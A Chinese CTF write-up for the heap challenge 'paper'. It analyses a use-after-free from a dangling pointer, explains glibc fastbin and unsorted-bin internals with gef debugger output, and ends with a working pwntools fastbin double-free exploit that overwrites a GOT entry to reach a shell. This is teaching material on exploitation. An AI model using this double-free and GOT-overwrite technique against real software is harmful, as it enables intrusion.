Write Some Paper (大小姐教我入门堆)

本题可以申请任意大小的堆块,并且在删除时未清空指针数组导致悬空指针,从而产生UAF。利用方式为通过FastbinAttack的DoubleFree的实现有限制的目标地址写,将GOT表项改写为后门函数。

题目文件:https://xuanxuanblingbling.github.io/assets/pwn/paper

检查

   file paper 
paper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=568cc483c23007604e087dfe56109b09a028f0aa, not stripped
  checksec paper 
[*] ''
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位动态链接程序,去符号表

分析

运行只有两个功能,添加和删除paper,添加时可以选择序号,大小,分析添加paper的函数,可以发现,malloc返回的地址保存在link_list这个全局数组中:

int add_paper()
{
  int v0; // ebx
  int v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]

  printf("Input the index you want to store(0-9):");
  __isoc99_scanf("%d", &v2);
  if ( v2 < 0 || v2 > 9 )
    exit(1);
  printf("How long you will enter:", &v2);
  __isoc99_scanf("%d", &v3);
  if ( v3 < 0 || v3 > 1024 )
    exit(1);
  v0 = v2;
  link_list[v0] = malloc(v3);
  if ( !link_list[v2] )
    exit(1);
  printf("please enter your content:", &v3);
  get_input((__int64)link_list[v2], v3, 1);
  return puts("add success!");
}

分析删除的代码,发现free后,并没有清空link_list数组中的地址,所以这里就存在了悬空指针

int delete_paper()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("which paper you want to delete,please enter it's index(0-9):");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 9 )
    exit(1);
  free(link_list[v1]);
  return puts("delete success !");
}

三种有问题的指针:

  • 悬空指针:dangling pointer,是指针最初指向的内存已经被释放了的一种指针,又称悬挂指针,迷途指针
  • 野指针:wild pointer,指没有被初始化过的指针
  • 空指针:null pointer,指针为空

所以这道题的漏洞点就是delete_paper函数产生了悬空指针。

堆入门

有了悬空指针这玩意怎么能利用getshell了呢?咋劫持控制流呢?这也是我第一次做堆的题目,且听我慢慢道来。其实劫持控制流一般都是某些间接跳转的地方被攻击者修改了,这些关键数据是保存在内存中的,所以攻击者就是需要对一些内存实现读写,就可以想办法劫持控制流了。而堆的存在,其功能就是控制内存的,所以通过堆的一些列漏洞可以读写目标内存,从而达到控制流劫持的目的。这里可以参考CTF-Wiki中的内容,进行相关内容的学习:

个人理解

堆这个东西,为啥复杂呢?

  1. 首先一个直观的现象,当我们用malloc申请一段内存空间的时,我传的参数是空间大小,但是当我free的时候,我仅仅是给了一个指针,我并没有告诉free函数我申请的空间的大小,然而free函数可以正常的工作。这就说明了堆这个东西肯定在某个地方保存了堆空间的内存位置和大小对应关系。

  2. 再有就是堆管理器为了提高效率,有一套回收再分配的机制。当我们free一个堆块时,这个堆块会被堆管理器回收到一系列的链表中,这些链表就是fast bins,small bins,large bins,unsorted bin,(这里的bin我认为意义就是垃圾桶的意思)链表中的每一个节点就是每一个堆块。

  3. 所以综上,堆管理器比必然要设计一些列的数据结构来管理堆块,要考虑的包括堆块的大小,堆块的状态(使用,空闲)。而且当堆块被回收后变成链表中的节点,则还需要保存前后堆块的地址。

啥是内存破坏漏洞呢?

  1. 可见在二进制中,控制流劫持的最终目标是读写某个地址(间接跳转)的内存,但是攻击者初始条件是控制部分内存,所以攻击者需要一步步扩大他所能控制的内存范围,最终控制到能达到效果的目标内存,这个过程就是漏洞利用。

  2. 让攻击者实现上述漏洞利用的问题代码,称为内存破坏漏洞

  3. 所以堆作为内存管理的一个机制,就可能会存在一些问题导致内存破坏漏洞

那为堆为啥可能有漏洞呢?

  1. 可以看到堆有相关的数据结构,配合malloc和free进行使用来管理内存,但是如果这个内存中数据结构与相关函数配合出了问题,则就有可能引发一系列的内存问题

  2. 比如在堆空闲状态下,堆块中是保存着前后堆块的地址的,如果这个地址可以被攻击者修改,则可能进一步扩大内存的控制权,进而控制到间接跳转的内存,从而劫持控制流

  3. 一般是由于程序员没有使用好malloc和free函数导致的

文萱告诉我,堆漏洞的本质就是UAF,是这样么?我暂时还不知道。

动手调试

对于堆的调试采用gef插件,比较方便,提供指令heap (chunk|chunks|bins|arenas)观察堆的状态:

chunks

首先我们在每次while循环处打断,然后先添加一个0号,大小为1字节,内容为1的paper,然后观察可见:

  • 一个临时存储输入的堆块,大小为0x140
  • 一个add_paper函数申请的堆块,大小为0x20
  • 一个top chunk,为未分配的堆块
gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)
    [0x0000000000603420     31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x603440, size=0x20bd0, flags=PREV_INUSE)    top chunk
gef  heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

我们把0号paper删除之后,观察:

gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     30 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    0...............]
Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)
    [0x0000000000603420     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603440, size=0x20bd0, flags=PREV_INUSE)    top chunk
gef  heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10]    Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE) 
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

我们发现仍然是三个堆块,不过第二个堆块中的内容被清除了,而且第二个堆块出现在fastbins中。而且top chunk的prev_size标记位仍然存在,说明存在于fastbins中的堆块不会把其后面堆块的PREV_INUSE置零。不过fastbin前标记的size是0x10,而chunk标记的size是0x20,这里大概是前面的去掉了0x10的堆块头部的大小。我们可以查看一下第二个堆块的完整内存,即从prev_size的部分开始算起,即0x603410:

gef  x /8gx 0x603410
0x603410:	0x0000000000000000	0x0000000000000021
0x603420:	0x0000000000000000	0x0000000000000000
0x603430:	0x0000000000000000	0x0000000000020bd1
0x603440:	0x0000000000000000	0x0000000000000000

可见size的字段是0x21,即大小为0x20,前面的堆块(那个大小为0x410的堆块)正在使用中。

空间复用

而且虽然头部占用了0x10字节,但是因为存在复用,当前堆块的可以占用后一个堆块的pre_size字段来存放数据,因为这个字段此时无效。所以在64位下最小的fastbin块size为0x20减去0x10的头部,加上0x8的后一个堆块的prev_size空间,应该是可以存放0x18=24字节的数据的,我们来尝试一下:申请24个字节的paper:

gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36    1234567890123456]
Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)
    [0x0000000000603420     31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36    1234567890123456]
Chunk(addr=0x603440, size=0x20bd0, flags=PREV_INUSE)    top chunk
gef  x /8gx 0x603410
0x603410:	0x0000000000000000	0x0000000000000021
0x603420:	0x3837363534333231	0x3635343332313039
0x603430:	0x3433323130393837	0x0000000000020bd1
0x603440:	0x0000000000000000	0x0000000000000000

可见的确占用了top chunk的prev_size字段,并且当我们把这个快free后:

gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     30 0a 33 34 35 36 37 38 39 30 31 32 33 34 35 36    0.34567890123456]
Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)
    [0x0000000000603420     00 00 00 00 00 00 00 00 39 30 31 32 33 34 35 36    ........90123456]
Chunk(addr=0x603440, size=0x20bd0, flags=PREV_INUSE)    top chunk
gef  x /8gx 0x603410
0x603410:	0x0000000000000000	0x0000000000000021
0x603420:	0x0000000000000000	0x3635343332313039
0x603430:	0x3433323130393837	0x0000000000020bd1
0x603440:	0x0000000000000000	0x0000000000000000
gef  heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10]    Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE) 
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00

我们发现,只有0x603420的8个字节被置空了,其余的数据还残留在原来的地方。

bins

我们申请两个大小都为1的paper,然后free这两个:

gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)
    [0x0000000000603420     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603440, size=0x20, flags=PREV_INUSE)
    [0x0000000000603440     10 34 60 00 00 00 00 00 00 00 00 00 00 00 00 00    .4`.............]
Chunk(addr=0x603460, size=0x20bb0, flags=PREV_INUSE)    top chunk
gef  heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10]    Chunk(addr=0x603440, size=0x20, flags=PREV_INUSE)    Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE) 
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef  x /10gx 0x603410
0x603410:	0x0000000000000000	0x0000000000000021
0x603420:	0x0000000000000000	0x0000000000000000
0x603430:	0x0000000000000000	0x0000000000000021
0x603440:	0x0000000000603410	0x0000000000000000
0x603450:	0x0000000000000000	0x0000000000020bb1

可见0x603430这个堆块的fd指向603410这个堆块,这个地址是从堆头部开始算起的。我们看到这里fastbins最大size为0x70,即能装下的最大数据大小为0x78=120字节,那我们申请一个121字节的paper然后free,这个chunk会被回收到哪个bin里呢?这里我们需要先申请一个121字节paper然后在随便申请一个,然后把第一个paper free掉,这样防止其被合并到top chunk中

gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     30 0a 31 0a 00 00 00 00 00 00 00 00 00 00 00 00    0.1.............]
Chunk(addr=0x603420, size=0x90, flags=PREV_INUSE)
    [0x0000000000603420     78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00    x.......x.......]
Chunk(addr=0x6034b0, size=0x20, flags=)
    [0x00000000006034b0     31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x6034d0, size=0x20b40, flags=PREV_INUSE)    top chunk
gef  heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x603410, bk=0x603410
    Chunk(addr=0x603420, size=0x90, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

可以看到这块被会回收到了unsorted bins里了,而且这块的fd和bk都填写了一个main_arena附近的地址,并且后一块chunk的PREV_INUSE被置空了。

利用

参考:Fastbin Attack

Fastbin Double Free

通过刚才的调试大概对堆有一个直观的概念了,我们来看一下这道题的解法:

  1. 首先申请两个大小相同的堆块,大小范围在fastbin中,分别为chunk1,chunk2,标号为0,1
  2. 依次释放0,1,0
  3. 观察bins状态

这里我申请大小为1的paper,观察:

gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     30 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    0...............]
Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)
    [0x0000000000603420     30 34 60 00 00 00 00 00 00 00 00 00 00 00 00 00    04`.............]
Chunk(addr=0x603440, size=0x20, flags=PREV_INUSE)
    [0x0000000000603440     10 34 60 00 00 00 00 00 00 00 00 00 00 00 00 00    .4`.............]
Chunk(addr=0x603460, size=0x20bb0, flags=PREV_INUSE)    top chunk
gef  heap  bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10]    Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)    Chunk(addr=0x603440, size=0x20, flags=PREV_INUSE)    Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)    [loop detected]
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef  x /10gx  0x603410
0x603410:	0x0000000000000000	0x0000000000000021
0x603420:	0x0000000000603430	0x0000000000000000
0x603430:	0x0000000000000000	0x0000000000000021
0x603440:	0x0000000000603410	0x0000000000000000
0x603450:	0x0000000000000000	0x0000000000020bb1

我们发现fastbins这个链表出现了循环,于是我们有希望可以通过四次malloc实现任意地址写,咋做呢?假设我们要往目标地址写目标内容

  1. 申请一个8字节paper,内容为目标地址-0x10
  2. 申请一个8字节paper,内容随意
  3. 申请一个8字节paper,内容随意
  4. 申请一个8字节paper,内容为目标内容

原理是第一次申请的堆块的fd字段被我们改写,因为fastbin存在环,第三次申请时即把我们篡改的fd字段填写到了fastbin的链首,当第四次申请时,即申请到到改写的目标地址,malloc函数误将我们篡改的地址当做了一个堆块,我们尝试一下,我输入的目标地址为12345678(ascii),当我们完成第二步时:

gef  heap chunks
Chunk(addr=0x603010, size=0x410, flags=PREV_INUSE)
    [0x0000000000603010     31 0a 33 34 35 36 37 38 0a 00 00 00 00 00 00 00    1.345678........]
Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)
    [0x0000000000603420     31 32 33 34 35 36 37 38 00 00 00 00 00 00 00 00    12345678........]
Chunk(addr=0x603440, size=0x20, flags=PREV_INUSE)
    [0x0000000000603440     31 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00    1.`.............]
Chunk(addr=0x603460, size=0x20bb0, flags=PREV_INUSE)    top chunk
gef  heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10]    Chunk(addr=0x603420, size=0x20, flags=PREV_INUSE)    [Corrupted chunk at 0x3837363534333241]
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00

按道理如果我们在申请一个0x20一下的堆块时,就可以把位于0x3837363534333241内存当做堆块数据部分给fastbin这个链表了,但是显然这里认为这不个合法堆块。因为目标地址需要满足一个约束,即size字段需要是fastbin这个链的大小,即目标地址的前8个字节需要满足,64位下这8个字节只要低4个字节满足就可以了。所以通过这种方式,我们可以控制的内存是需要满足一定约束的内存。也可以称这种满足要求的内存部分为伪堆块。获得这种内存有两种方式:

  1. 寻找是否有天然满足伪堆块的约束的内存
  2. 想办法构造伪堆块

fake chunk

本题存在后们函数,所以难点就在于如何构造fastbin的大小和fd的位置。如果分配到GOT表前,则会破坏PLT0导致程序崩溃。如何找呢?我们先在进行一系列添加删除操作后打断,然后观察GOT表的内存,找到如下可用的fastbin attack size:

image

如果采用0x60202a为fd,继续分析可以控制0x60203a处,system地址被破坏,printf覆盖为gg()地址。利用时需要还原system地址,同时触发printf调用即可,如图:

image

所以控制伪堆块的地址为0x60202a,构造堆块的大小为0x40,即可以申请0x30的paper大小,然后构造数据为"\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"]),然后触发printf即可getshell

exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

myelf = ELF("./paper")
io = process(myelf.path)

def add_paper(num, index, content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(num))
    io.recv()
    io.sendline(content)

def del_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))

add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
del_paper(1)
del_paper(2)
del_paper(1)

add_paper(0x30, 1, p64(0x60202a))
add_paper(0x30, 1, "1")
add_paper(0x30, 1, "1")
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"]))

io.recv()
io.sendline("a")
io.interactive()

参考